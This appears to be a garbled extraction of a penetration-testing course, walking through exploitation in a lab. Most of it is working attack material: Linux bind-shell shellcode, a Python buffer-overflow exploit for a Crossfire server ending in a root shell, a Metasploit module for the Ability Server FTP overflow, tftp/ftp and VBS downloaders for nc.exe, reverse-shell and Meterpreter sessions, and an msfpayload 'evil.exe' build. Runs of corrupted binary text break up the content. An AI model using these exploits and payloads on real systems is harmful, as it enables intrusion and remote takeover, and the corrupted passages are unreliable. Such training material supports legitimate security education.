    linux/ppc64/shell_bind_tcp      Listen for a co nnection and spawn a command shell 

    linux/x86/metsvc_bind_tcp       Stub payload fo r interacting with a Meterpreter Service 

    linux/x86/shell/bind_tcp        Listen for a co nnection, Spawn a command shell (staged) 

    linux/x86/shell_bind_ipv6_tcp   Listen for a co nnection over IPv6 and spawn a command shell 

    linux/x86/shell_bind_tcp        Listen for a co nnection and spawn a command shell 

root@bt:/pentest/exploits/framework3# ./msfpayload linux/x86/shell_bind_tcp C  

/* 

 * linux/x86/shell_bind_tcp - 78 bytes 

 * http://www.metasploit.com 

 * AutoRunScript=, AppendExit=false, PrependChrootB reak=false, 

 * PrependSetresuid=false, InitialAutoRunScript=, 

 * PrependSetuid=false, LPORT=4444, RHOST=, 

 * PrependSetreuid=false 

 */ 

unsigned char buf[] = 

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x 66\xcd\x80" 

"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x 89\xe1\x6a" 

"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x 80\x43\xb0" 

"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\x f8\x68\x2f" 

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x 89\xe1\xb0" 

"\x0b\xcd\x80"; 

root@bt:/pentest/exploits/framework3# 

9�������*���< ���������
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#!/usr/bin/python 
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import socket, sys 

host = sys.argv[1] 

 

shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x8 9\xe1\xb0\x66\xcd\x80" 

"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x 89\xe1\x6a" 

"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x 80\x43\xb0" 

"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\x f8\x68\x2f" 

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x 89\xe1\xb0" 

"\x0b\xcd\x80") 

crash="\x90"*200 + shellcode + "\x43" * 4090 + "\x4 2\x42\x42\x42" +"D"*7 

buffer  = "\x11(setup sound " + crash + "\x90\x00#"  

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

print "[*]Sending evil buffer..." 

s.connect((host, 13327)) 

data=s.recv(1024) 

print data 

s.send(buffer) 

s.close() 

print "[*]Payload Sent !" 
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Waiting for connections... 

BUG: process_events(): Object without map or invent ory is on active list: mobility (0) 

Get SetupCmd:: sound 1Û÷ãSCSjá°fÍ[^Rhÿ\jQPájfXÍA³°f ÍC°fÍYj?... 

[New Thread 0xb75fb8c0 (LWP 28701)] 

Program received signal SIGSEGV, Segmentation fault . 

[Switching to Thread 0xb75fb8c0 (LWP 28701)] 

0x42424242 in ?? () 

(gdb) x/300xb $eax 

0xb7ba8a0e:     0x73    0x65    0x74    0x75    0x7 0    0x20    0x73    0x6f 

0xb7ba8a16:     0x75    0x6e    0x64    0x20    0x9 0    0x90    0x90    0x90 

0xb7ba8a1e:     0x90    0x90    0x90    0x90    0x9 0    0x90    0x90    0x90 

... 
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0xb7ba8ad6 :     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90 

0xb7ba8ade:     0x90    0x90    0x90    0x90    0x31    0xdb    0xf7    0xe3 

0xb7ba8ae6:      0x53    0x43    0x53    0x6a    0x02    0x89    0xe1    0xb0 

0xb7ba8aee:      0x66    0xcd    0x80    0x5b    0x5e    0x52    0x68    0xff 

0xb7ba8af6:      0x02    0x11    0x5c    0x6a    0x10    0x51    0x50    0x89 

0xb7ba8afe:      0xe1    0x6a    0x66    0x58    0xcd    0x80    0x89    0x41 

0xb7ba8b06:      0x04    0xb3    0x04    0xb0    0x66    0xcd    0x80    0x43 

0xb7ba8b0e:      0xb0    0x66    0xcd    0x80    0x93    0x59    0x6a    0x3f 

0xb7ba8b16:      0x58    0xcd    0x80    0x49    0x79    0xf8    0x68    0x2f 

0xb7ba8b1e:      0x2f    0x73    0x68    0x68    0x2f    0x62    0x69    0x6e 

0xb7ba8b26:      0x89    0xe3    0x50    0x53    0x89    0xe1    0xb0    0x0b 

0xb7ba8b2e:      0xcd    0x80     0x43    0x43    0x43    0x43    0x43    0x43 

0xb7ba8b36:     0x43    0x43    0x43    0x43 

(gdb)  
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root@bt:~# ./poc.py 127.0.0.1 

[*]Sending evil buffer... 

[*]Payload Sent ! 

root@bt:~# netstat -antp |grep 4444  

tcp        0      0 0.0.0.0:4444            0.0.0.0 :*               LISTEN      28939/crossfire 

root@bt:~# nc -vn 127.0.0.1 4444  

(UNKNOWN) [127.0.0.1] 4444 (?) open 

id 

uid=0(root) gid=0(root) groups=0(root) 
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root@bt:~# objdump -D /usr/games/crossfire/bin/crossfire |grep  "ff e0" 

 8071e4e:       ff e0                   jmp    *%ea x 

 807b8f8:       ff e0                   jmp    *%ea x 

... 

 8134e77:       ff e0                   jmp    *%ea x 

 813534f:       ff e0                   jmp    *%ea x 

 81354e7:       ff e0                   jmp    *%ea x 

 8135a6f:       ff e0                   jmp    *%ea x 

 8135e2f:       ff e0                   jmp    *%ea x 

 8135fbf:       ff e0                   jmp    *%ea x 

 ... 

 81419ab:       ff e0                   jmp    *%ea x 

root@bt:~# 
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root@bt:~# echo 2 > /proc/sys/kernel/randomize_va_space # re-enable ASLR 

root@bt:~# netstat -antp |grep 4444  

root@bt:~# ./poc.py 127.0.0.1 

[*]Sending evil buffer... 

#version 1023 1027 Crossfire Server 

[*]Payload Sent! 

root@bt:~# netstat -antp |grep 4444  

tcp     0      0 0.0.0.0:4444     0.0.0.0:*      LI STEN      29331/crossfire 

root@bt:~# nc -vn 127.0.0.1 4444  

(UNKNOWN) [127.0.0.1] 4444 (?) open 

id 

uid=0(root) gid=0(root) groups=0(root) 
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·  Perforce Multiple Remote Security Vulnerabilities 

·  Linux Kernel 'hfc_usb.c' Local Privilege Escalation  Vulnerability 

·  Linux Kernel 'drivers/scsi/gdth.c' Local Privilege Escalation Vulnerability 

·  CUPS 'lppasswd' Tool Localized Message String Secur ity Weakness 

·  Mozilla Firefox and SeaMonkey Web Workers Array Dat a Type Remote Memory Corruption  

·  ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Ca che Poisoning Vulnerability 

·  ISC BIND 9 DNSSEC Query Response Additional Section  Remote Cache Poisoning Vulnerability 

·  WebWorks Help Multiple Cross Site Scripting Vulnera bilities 

·  Microsoft Windows 2000 Telnet Server DoS Vulnerabil ity 

·  pam_krb5 Existing/Non-Existing Username Enumeration  Weakness 

·  Mozilla Firefox XPCOM Utility Chrome Privilege Esca lation Vulnerability 

·  Mozilla Firefox and SeaMonkey Proxy Auto-Configurat ion File Remote Code Execution Vulnerability 

·  Mozilla Firefox 'document.getSelect' Cross Domain I nformation Disclosure Vulnerability 

·  Mozilla Firefox Download Manager World Writable Fil e Local Privilege Escalation Vulnerability 

·  Mozilla Firefox and SeaMonkey 'libpr0n' GIF Parser Heap Based Buffer Overflow Vulnerability 

·  Mozilla Firefox CVE-2009-3382 Remote Memory Corrupt ion Vulnerability 

·  Mozilla NSS NULL Character CA SSL Certificate Valid ation Security Bypass Vulnerability 

·  Sun Java SE November 2009 Multiple Security Vulnera bilities 

·  Mozilla Firefox and Seamonkey Regular Expression Pa rsing Heap Buffer Overflow Vulnerability 

·  Mozilla Firefox Form History Information Disclosure  Vulnerability 

·  Mozilla Firefox CVE-2009-3380 Multiple Remote Memor y Corruption Vulnerabilities 

·  Mozilla Firefox and SeaMonkey Download Filename Spo ofing Vulnerability 

·  Mozilla Firefox Floating Point Conversion Heap Over flow Vulnerability 

·  GNOME glib Base64 Encoding and Decoding Multiple In teger Overflow Vulnerabilities 

·  Linux Kernel 2.4 and 2.6 Multiple Local Information  Disclosure Vulnerabilities 

·  OpenSSL 'ChangeCipherSpec' DTLS Packet Denial of Se rvice Vulnerability 

·  Linux Kernel with SELinux 'mmap_min_addr' Low Memor y NULL Pointer Dereference Vulnerability 

·  GNU ed File Processing 'strip_escapes()' Heap Overf low Vulnerability 
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·  Linux Kernel 'nfs4_proc_lock()' Local Denial of Ser vice Vulnerability 

·  OpenSSL DTLS Packets Multiple Denial of Service Vul nerabilities 

·  OpenSSL 'dtls1_retrieve_buffered_fragment()' DTLS P acket Denial of Service Vulnerability 

·  D-Bus 'dbus_signature_validate()' Type Signature De nial of Service Vulnerability 

·  Linux Kernel eCryptfs Lower Dentry Null Pointer Der eference Local Denial of Service 
Vulnerability 

·  Linux Kernel 'pipe.c' Local Privilege Escalation Vu lnerability 

·  Wireshark Dissector LWRES Multiple Buffer Overflow Vulnerabilities 

·  Newt Text Box Content Processing Remote Buffer Over flow Vulnerability 

·  OpenSSL Multiple Vulnerabilities 

·  'nfs-utils' Package 'hosts_ctl()' Security Bypass V ulnerability 

·  Red Hat Enterprise Linux OpenSSH 'ChrootDirectory' Option Local Privilege Escalation  

·  Expat Unspecified XML Parsing Remote Denial of Serv ice Vulnerability 

·  Linux Kernel 'unix_stream_connect()' Local Denial o f Service Vulnerability 

·  Linux Kernel 2.4 and 2.6 Local Information Disclosu re Vulnerability 

·  GNU Automake Insecure Directory Permissions Vulnera bility 

·  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Ser vice Vulnerability 

·  Linux Kernel r128 Driver CCE Initialization NULL Po inter Dereference Denial of Service  

·  Linux Kernel '/drivers/net/r8169.c' Out-of-IOMMU Er ror Local Denial of Service Vulnerability 

·  MiNBank 'minsoft_path' Parameter Multiple Remote Fi le Include Vulnerabilities 

·  J. River Media Jukebox '.mp3' File Remote Heap Buff er Overflow Vulnerability 

·  Orb Networks Orb Direct Show Filter MP3 File Divide -By-Zero Denial of Service Vulnerability 

·  WordPress Calendar Plugin Multiple Cross-Site Scrip ting Vulnerabilities 

·  WordPress Events Registration with PayPal IPN Compo nent Multiple SQL Injection Vulnerabilities 

·  Authentium Command On Demand ActiveX Control Multip le Buffer Overflow Vulnerabilities 

·  Multiple Apple Wireless Products FTP Port Forward S ecurity Bypass Vulnerability 

·  BBSXP 'ShowPost.asp' Cross-Site Scripting Vulnerabi lity 

·  Emweb Wt Multiple Cross Site Scripting and Unspecif ied Security Vulnerabilities 

·  Microsoft March 2010 Advance Notification Multiple Vulnerabilities 

·  PHP-Nuke 'user.php' SQL Injection Vulnerability 
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·  PHP-Nuke Survey Component 'PollID' Parameter SQL In jection Vulnerability 

·  Comptel Provisioning and Activation 'error_msg_para meter' Cross Site Scripting Vulnerability 

·  Argyll CMS '55-Argyll.rules' Security Bypass Vulner ability 

·  Fcron 'fcrontab' Symbolic Link Arbitrary File Acces s Vulnerabilities 
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root@bt:/pentest/exploits/exploitdb# grep Ability files.csv  

588; platforms/windows/remote/588.py ;"Ability Server <= 2.34 (STOR) Remote Buffer Overf low 
Exploit";2004-10-21;muts;windows;remote;21 

592; platforms/windows/remote/592.py ;"Ability Server <= 2.34 (APPE) Remote Buffer Overf low 
Exploit";2004-10-23;KaGra;windows;remote;21 

618; platforms/windows/remote/618.c ;"Ability Server 2.34 FTP STOR Buffer Overflow Expl oit (Unix 
Exploit)";2004-11-07;NoPh0BiA;windows;remote;21 

693; platforms/windows/remote/693.c ;"Ability Server <= 2.34 Remote APPE Buffer Overflo w Exploit";2004-
12-16;darkeagle;windows;remote;21 

4��K��� ������ �������� �6���
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#include <stdio.h> 

#include <winsock2.h> 

#include <windows.h> 

#include <process.h> 

#include <string.h> 



�

�7��

�

#include <winbase.h> 

+*���������%�
�����
��6�����
���
������
��������*�� ����1�

#include <stdio.h> 

#include <stdlib.h> 

#include <error.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

#include <arpa/inet.h> 

#include <unistd.h> 

#include <netdb.h> 

#include <unistd.h> 
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bt exploitdb # cp ./platforms/windows/remote/618.c /tmp/ 

bt exploitdb # cd /tmp/  

bt tmp # nano 618.c (we fix the code as appropriate) 

bt tmp # gcc -o ability 618.c  
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bt exploitdb # cp ./platforms/windows/remote/693.c /tmp/ 

bt exploitdb # cd /root/.wine/drive_c/MinGW/bin 

bt bin # wine gcc –o ability.exe /tmp/693.c –lwsock32 

bt bin # wine ability.exe  

... 
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xp sp2 exploit site:securityfocus.com inurl:bid 
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C:\Users\offsec> ftp ftp.microsoft.com  

Connected to ftp.microsoft.akadns.net. 

220 Microsoft FTP Service 

User (ftp.microsoft.akadns.net:(none)): test  

331 Password required for test. 

Password: test  

530 User cannot log in. 

Login failed. 

ftp> bye  

221 Thank you for using Microsoft products. 

C:\Users\offsec> 
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root@bt:~# netstat -anup |grep 69 

udp        0      0 0.0.0.0:69         0.0.0.0:*     398/atftpd 

root@bt:~#     

 ��%��*���
���%���"��������������������*���
��
���� ��*�� 6��# ��
������%�����*�������#��K�����*
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root@bt:~# cp /pentest/windows-binaries/tools/nc.exe /tmp/ 
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C:\WINDOWS\system32> tftp -i 192.168.9.100 GET nc.exe 

tftp -i 192.168.9.100 GET nc.exe 

Transfer successful: 59392 bytes in 5 seconds, 1187 8 bytes/s 

C:\WINDOWS\system32> dir nc.exe 

dir nc.exe 

 Volume in drive C has no label. 

 Volume Serial Number is B4B7-CCDF 

 Directory of C:\WINDOWS\system32 

11/12/2006  06:49 AM            59,392 nc.exe 

               1 File(s)         59,392 bytes 

               0 Dir(s)   2,733,469,696 bytes free 

C:\WINDOWS\system32> 
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��
�� ���*
��H� ���������� ��� �*�� �� ���#
�	� ���*
���

A
,��
�(�,�
77BH�"*
�*�
������
�	���+3+��������H��� ���6����
�	��������:5+����������������
��������6���

8���.�.��0��������

�  +3+��
�����������9.������
���*��������������+3+��
� ���	�������
�������*����������������
�����

�  +*��+3+����������
�����@
�������
����

8���.����0��������

�  +3+��
�����������9.�������*�������������
���������� ��
�������������	���
�����

�  <�	��
?��
���������%�����"����������9.�������
�H��� ����*����
��������������������"
���������%����

����#�������*�������������
��"�����

� �



�

�
2�

�

8�����:�����0���

�
���"�� ����� �����
��� �� ��������3+�� ��
���� �*��� ��� � ��� ����� ���� �
��� ����������� ���%��K��� ����
����%�

����H�3+��
�����
�������
������������*�����;�
����
 ������������������4������������������*
����������

��������������
�	��������3+����

����*��3+����������*����%���"
��������*����*���
��� "��3+����
�����������������
�
�	�3+�����������

���������6���
��1��

  -s:filename     Specifies a text file containing FTP commands;  

                  the commands will automatically r un after FTP starts. 
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C:\WINDOWS\system32> echo open 192.168.9.100 21> ftp.txt 

C:\WINDOWS\system32> echo ftp>> ftp.txt 

C:\WINDOWS\system32> echo ftp>> ftp.txt 

C:\WINDOWS\system32> echo bin >> ftp.txt 

C:\WINDOWS\system32> echo GET nc.exe >> ftp.txt 

C:\WINDOWS\system32> echo bye >> ftp.txt 

C:\WINDOWS\system32> ftp -s:ftp.txt 
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bt ~# cd /pentest/windows-binaries/tools/ 

bt tools # wine exe2bat.exe nc.exe nc.txt 

Finished: nc.exe > nc.txt 

bt tools #           
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'Barabas pure vbs downloader - tested on XP sp2 

'Microsoft fixed adodbstream but guess what <img sr c="http://s.wordpress.com/wp-
includes/images/smilies/icon_smile.gif" alt=":)" cl ass="wp-smiley"> 

'(c)dec 2004 

'First argument = complete url to download 

'Second Argument = filename you want to save 

'thnks to http://www.ericphelps.com/scripting/sampl es/BinaryDownload/ 

' 

'v2 - now includes proxy support for the winhttp re quest stuff 

 

strUrl = WScript.Arguments.Item(0) 

StrFile = WScript.Arguments.Item(1) 

 

'WinHttpRequest proxy settings. 

Const HTTPREQUEST_PROXYSETTING_ 

DEFAULT = 0 

Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 

Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 

Const HTTPREQUEST_PROXYSETTING_PROXY = 2 
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Dim http, varByteArray, strData, strBuffer, lngCoun ter, fs, ts 

  Err.Clear 

  Set http = Nothing 

  Set http = CreateObject("WinHttp.WinHttpRequest.5 .1") 

  If http Is Nothing Then Set http = 

CreateObject("WinHttp.WinHttpRequest") 

  If http Is Nothing Then Set http = 

CreateObject("MSXML2.ServerXMLHTTP") 

  If http Is Nothing Then Set http = CreateObject(" Microsoft.XMLHTTP") 

 

  ' comment out next line if no proxy is being used  

  ' and change the proxy to suit ur needs -duh 

 

  http.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, "we b-proxy:80" 

 

  http.Open "GET", strURL, False 

  http.Send 

  varByteArray = http.ResponseBody 

  Set http = Nothing 

  Set fs = CreateObject("Scripting.FileSystemObject ") 

  Set ts = fs.CreateTextFile(StrFile, True) 

  strData = "" 

  strBuffer = "" 

  For lngCounter = 0 to UBound(varByteArray) 

      ts.Write Chr(255 And Ascb(Midb(varByteArray,l ngCounter + 1, 1))) 

  Next 

  ts.Close 
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root@bt:~# cd /pentest/exploits/framework3/modules/exploits/wi ndows/ftp/  

root@bt: # cp cesarftp_mkd.rb ability_stor.rb 

root@bt: # nano ability_stor.rb  

3
6��*������
������������
���*�� ����H�
�����
�	��*� �����H������
��
��H��������������������������H�����
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## 

# $Id: ability_stor.rb  7853 2009-12-14 19:04:40Z jduck $ 

## 

... 
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require 'msf/core' 

class Metasploit3 < Msf::Exploit::Remote 

        Rank = AverageRanking 

        include Msf::Exploit::Remote::Ftp 

        def initialize(info = {}) 

                super(update_info(info, 

                        'Name'           => 'Ability Server STOR FTP Command Buffer Overflow' , 

                        'Description'    => %q{ 

                                This module exploit s a stack overflow in the STOR verb in Ability Serv er. 

                                You must have valid  credentials to trigger this vulnerability. 

                        }, 

                        'Author'         => 'offsec' , 

                        'License'        => MSF_LIC ENSE, 

                        'Version'        => '$Revis ion: 7853 $', 

                        'References'     => 

                                [ 

                                        [ 'CVE', '2004-16261' ], 

                                ], 

                        'Privileged'     => true, 

                        'DefaultOptions' => 

                                { 

                                        'EXITFUNC' => 'thread' , 

                                }, 

                        'Payload'        => 

                                { 

                                        'Space'    => 1000 , 

                                        'BadChars' => "\ x00 ", 

                                        'StackAdjus tment' => -3500, 

                                }, 

                        'Platform'       => 'win', 

                        'Targets'        => 

                                [ 

                                        [ 'Windows XP SP2 English',       { 'Ret' => 0x77d8af0a } ], #  jmp esp 

                                ], 
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                        'DisclosureDate' => 'Oct 22  2004', 

                        'DefaultTarget'  => 0)) 

        end 

        def check 

                connect 

                disconnect 

                if (banner =~ / Ability Server 2\.34g /) 

                        return Exploit::CheckCode:: Vulnerable 

                end 

                        return Exploit::CheckCode:: Safe 

        end 

        def exploit 

                connect_login 

                sploit =  "A" * 966 + [target.ret]. pack('V') + make_nops(32) + payload.encoded 

                sploit << rand_text_alpha_upper(998  - payload.encoded.length) 

                print_status("Trying target #{targe t.name}...") 

                send_cmd( ['STOR', sploit] , false)  

                handler 

                disconnect 

        end 

end 

������� ��#�� ����� �
��� ��� 
������� �*�� �6���
�� ����� � ��� ��#�� ����� %��� ����������� �*�� ����
�	�

��������������������������
���*���
������������



�

��0�

�

9�.���-	�������������������
��	����	���"	�C���"��D�

-���
�	������
�"
�*������	��������
�����������
���� ����������"
�*
��/�������
�1�

root@bt:~# cd /pentest/exploits/framework3/ 

bt framework3 # ./msfcli 

Usage: ./msfcli <exploit_name><option=value> [mode]  

=================================================== = 

    Mode           Description 

    ----           ----------- 

    (H)elp         You're looking at it baby! 

    (S)ummary      Show information about this modu le 

    (O)ptions      Show available options for this module 

    (A)dvanced     Show available advanced options for this module 

    (I)DS Evasion  Show available ids evasion optio ns for this module 

    (P)ayloads     Show available payloads for this  module 

    (T)argets      Show available targets for this exploit module 

    (AC)tions      Show available actions for this auxiliary module 

    (C)heck        Run the check routine of the sel ected module 

    (E)xecute      Execute the selected module 

 

 

Exploits 

======== 

    Name                                         De scription 

    ----                                          - ---------- 

    exploit/bsdi/softcart/mercantec_softcart      M ercantec SoftCart CGI Overflow 

. . . 

bt framework3 # 
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root@bt:framework3# ./msfcli |grep ability_stor  

[*] Please wait while we load the module tree... 

    exploit/windows/ftp/ability_stor      Ability Serve r STOR FTP Command Buffer Overflow 

root@bt:/pentest/exploits/framework3# 
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root@bt:framework3# ./msfcli exploit/windows/ftp/ability_stor P  

[*] Please wait while we load the module tree... 

 =================== 

Name 

---- 

generic/shell_bind_tcp 

generic/shell_reverse_tcp 

windows/adduser 

windows/adduser/bind_tcp 

... 

windows/shell_bind_tcp_xpfw 

windows/shell_reverse_tcp 

windows/upexec/bind_tcp 

windows/upexec/reverse_http 

windows/upexec/reverse_ord_tcp 

windows/upexec/reverse_tcp 

windows/vncinject/bind_tcp 

windows/vncinject/reverse_http 

windows/vncinject/reverse_ord_tcp 

windows/vncinject/reverse_tcp 

bt framework3 # 
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root@bt:framework3# ./msfcli exploit/windows/ftp/ability_stor 
PAYLOAD=windows/shell_reverse_tcp O  

[*] Please wait while we load the module tree... 

   Name     Current Setting      Required  Descript ion 

   ----     ---------------      --------  -------- --- 

   FTPPASS  mozilla@example.com  no        The pass word for the specified username 

   FTPUSER  anonymous            no        The user name to authenticate as 

   RHOST                         yes       The targ et address 

   RPORT    21                   yes       The targ et port 

   Name      Current Setting  Required  Description  

   ----      ---------------  --------  -----------  

   EXITFUNC  process          yes       Exit techni que: seh, thread, process 

   LHOST                      yes       The local a ddress 

   LPORT     4444             yes       The local p ort 

root@bt:/pentest/exploits/framework3# 
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root@bt:framework3# ./msfcli exploit/windows/ftp/ability_stor 
PAYLOAD=windows/shell_reverse_tcp FTPPASS=ftp FTPUS ER=ftp RHOST=192.168.182.129 
LHOST=192.168.182.128 E 

[*] Started reverse handler on port 4444 

 [*] Authenticating as ftp with password ftp... 

[*] Sending password... 

[*] Trying target Windows XP SP2 English... 

[*] Command shell session 1 opened (192.168.182.128 :4444 -> 192.168.182.129:1168) 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

C:\abilitywebserver>  
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root@bt:/pentest/exploits/framework3# ./msfconsole  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0] 

+ -- --=[ 532 exploits - 249 auxiliary 

+ -- --=[ 198 payloads - 23 encoders - 8 nops 

       =[ svn r8749 updated today (2010.03.08) 

msf > help  

Core Commands 

============= 

    Command       Description 

    -------       ----------- 

    ?             Help menu 

    back          Move back from the current contex t 

... 

    unsetg        Unsets one or more global variabl es 

    use           Selects a module by name 

    version       Show the framework and console li brary version numbers 

 

Database Backend Commands 

========================= 

 

    Command        Description 

    -------        ----------- 

    db_connect     Connect to an existing database 
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    ... 

    db_driver      Specify a database driver 

 

msf > search ability_stor 

[*] Searching loaded modules for pattern 'ability_s tor'... 

 

Exploits 

======== 

 

   Name                      Rank     Description 

   ----                      ----     ----------- 

   windows/ftp/ability_stor   average  Ability Server STOR FTP Command Buffer O verflow 

 

msf > 

��"��*���%���*������������%�����6���
�H�����
������ ����
	����
�����������1�

msf > use windows/ftp/ability_stor 

msf exploit(ability_stor) > set PAYLOAD windows/shell_reverse_tcp  

PAYLOAD => windows/shell_reverse_tcp 

msf exploit(ability_stor) > show options 

Module options: 

   Name     Current Setting      Required  Descript ion 

   ----     ---------------      --------  -------- --- 

   FTPPASS  mozilla@example.com  no        The pass word for the specified username 

   FTPUSER  anonymous            no        The user name to authenticate as 

   RHOST                         yes       The targ et address 

   RPORT    21                   yes       The targ et port 

Payload options (windows/shell_reverse_tcp): 

   Name      Current Setting  Required  Description  

   ----      ---------------  --------  -----------  

   EXITFUNC  thread           yes       Exit techni que: seh, thread, process 
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   LHOST                      yes       The local a ddress 

   LPORT     4444             yes       The local p ort 

Exploit target: 

   Id  Name 

   --  ---- 

   0   Windows XP SP2 English 

msf exploit(ability_stor) > 
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msf exploit(ability_stor) > set LHOST 192.168.182.128  

LHOST => 192.168.182.128 

msf exploit(ability_stor) > set RHOST 192.168.182.129  

RHOST => 192.168.182.129 

msf exploit(ability_stor) > set FTPPASS ftp  

FTPPASS => ftp 

msf exploit(ability_stor) > set FTPUSER ftp  

FTPUSER => ftp 

msf exploit(ability_stor) > show targets  

Exploit targets: 

   Id  Name 

   --  ---- 

   0   Windows XP SP2 English 

msf exploit(ability_stor) > set TARGET 0  

TARGET => 0 

msf exploit(ability_stor) > exploit  

[*] Started reverse handler on 192.168.182.128:4444  

[*] Connecting to FTP server 192.168.182.129:21... 

[*] Connected to target FTP server. 

[*] Authenticating as ftp with password ftp... 

[*] Sending password... 
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[*] Trying target Windows XP SP2 English... 

[*] Command shell session 1 opened (192.168.182.128 :4444 -> 192.168.182.129:1169) 

 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

 

C:\abilitywebserver> 
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root@bt:/pentest/exploits/framework3# ./msfweb  

[*] Warning: As of Metasploit 3.3 this interface is  no longer supported: 

             Please see https://metasploit.com/redm ine/issues/502 

[*] Starting msfweb v3.3.4-dev on http://127.0.0.1: 55555/ 
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... 

=> Booting Mongrel 

=> Rails 2.3.5 application starting on http://127.0 .0.1:55555 

[*] Initializing the Metasploit Framework... 

[*] Initialized the Metasploit Framework 

=> Call with -d to detach 

=> Ctrl-C to shutdown server 
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bt framework3 # ./msfcli windows/http/ ability_stor 
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.1 68.8.104 RHOST=192.168.9.55 E 

[*] Started reverse handler 

[*] Trying target JMP ESP - XP SP2... 

[*] Transmitting intermediate stager for over-sized  stage...(89 bytes) 

[*] Sending stage (2834 bytes) 

[*] Sleeping before handling stage... 

[*] Uploading DLL (81931 bytes)... 

[*] Upload completed. 

[*] Meterpreter session 1 opened (192.168.8.104:444 4 -> 192.168.9.55:1144) 

meterpreter > help 
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Core Commands 

============= 

    Command       Description 

    -------       ----------- 

    ?                 Help menu 

    channel       Display information about active channels 

    close           Close a channel 

    exit             Terminate the Meterpreter sess ion 

    help            Help menu 

    interact      Interact with a channel 

    irb             Drop into irb scripting mode 

    migrate      Migrate the server to another proc ess 

    quit           Terminate the Meterpreter sessio n 

    read          Reads data from a channel 

    run            Execute a Meterpreter script 

    use            Load one or more Meterpreter ext ensions 

    write         Write data to a channel 

 

Stdapi: File system Commands 

============================ 

    Command       Description 

    -------       ----------- 

    cat                Read the contents of a file to the screen 

    cd                 Change directory 

    download      Download a file or directory 

    edit                Edit a file 

    getwd            Print working directory 

    lcd                Change local directory 

    ls                  List files 

    mkdir           Make directory 

    pwd              Print working directory 
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    rmdir             Remove directory 

    upload          Upload a file or directory 

Stdapi: Networking Commands 

=========================== 

    Command       Description 

    -------       ----------- 

    ipconfig      Display interfaces 

    portfwd       Forward a local port to a remote service 

    route            View and modify the routing ta ble 

Stdapi: System Commands 

======================= 

    Command       Description 

    -------       ----------- 

    execute       Execute a command 

    getpid         Get the current process identifi er 

    getuid         Get the user that the server is running as 

    kill             Terminate a process 

    ps               List running processes 

    reboot        Reboot the remote computer 

    reg             Modify and interact with the re mote registry 

    rev2self      Call RevertToSelf() on the remote  machine 

    shutdown    Shut down the remote computer 

    sysinfo        Get information about the remote  system, such as OS 

Stdapi: User interface Commands 

=============================== 

    Command       Description 

    -------       ----------- 

    idletime      Return the number of seconds the remote user has been idle 

    uictl         Control some of the user interfac e components 

meterpreter > 
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root@bt:/pentest/exploits/framework3# ./msfconsole  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0] 

+ -- --=[ 532 exploits - 249 auxiliary 

+ -- --=[ 198 payloads - 23 encoders - 8 nops 

       =[ svn r8749 updated today (2010.03.08) 

msf exploit(ability_stor) > exploit 

[*] Started reverse handler on 192.168.182.128:4444  

[*] Connecting to FTP server 192.168.182.129:21... 

[*] Connected to target FTP server. 

[*] Authenticating as ftp with password ftp... 

[*] Sending password... 

[*] Trying target Windows XP SP2 English... 

[*] Sending stage (747008 bytes) 

[*] Meterpreter session 1 opened (192.168.182.128:4 444 -> 192.168.182.129:1172) 

meterpreter > help  

Core Commands 

============= 

 

    Command       Description 

    -------       ----------- 

    ?             Help menu 

    background    Background the current session 

    channel       Display information about active channels 

    ... 

    use           Load a one or more Meterpreter ex tensions 

    write         Write data to a channel 
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Stdapi: File system Commands 

============================ 

    Command       Description 

    -------       ----------- 

    cat           Read the contents of a file to th e screen 

    cd            Change directory 

    ... 

    rmdir         Remove directory 

    upload        Upload a file or directory 

 

Stdapi: Networking Commands 

=========================== 

    Command       Description 

    -------       ----------- 

    ipconfig      Display interfaces 

    portfwd       Forward a local port to a remote service 

    route         View and modify the routing table  

 

Stdapi: System Commands 

======================= 

    Command       Description 

    -------       ----------- 

    clearev       Clear the event log 

    drop_token    Relinquish any active impersonati on token 

    ... 

    steal_token   Attempt to steal an impersonation  token from the target process 

    sysinfo       Get information about the remote system, such as OS 

 

Stdapi: User interface Commands 

=============================== 
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    Command        Description 

    -------        ----------- 

    enumdesktops   List all accessible desktops and  window stations 

    ... 

    setdesktop     Move to a different workstation and desktop 

    uictl          Control some of the user interfa ce components 

Priv: Elevate Commands 

====================== 

    Command       Description 

    -------       ----------- 

    getsystem     Attempt to elevate your privilege  to that of local system 

Priv: Password database Commands 

================================ 

    Command       Description 

    -------       ----------- 

    hashdump      Dump the contents of the SAM data base 

Priv: Timestomp Commands 

======================== 

    Command       Description 

    -------       ----------- 

    timestomp     Manipulate file MACE attributes 

 

meterpreter > 
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bt framework3 # ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.119  X 
> evil.exe 

Created by msfpayload (http://www.metasploit.com). 

Payload: windows/meterpreter/reverse_tcp 

 Length: 177 

Options: LHOST=192.168.8.119 

bt framework3 # 
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bt framework3 # ./msfcli multi/handler PAYLOAD=windows/meterpreter/ reverse_tcp 
LHOST=192.168.8.119 E 

[*] Started reverse handler 

[*] Starting the payload handler...   (Payload is e xecuted on victim) 

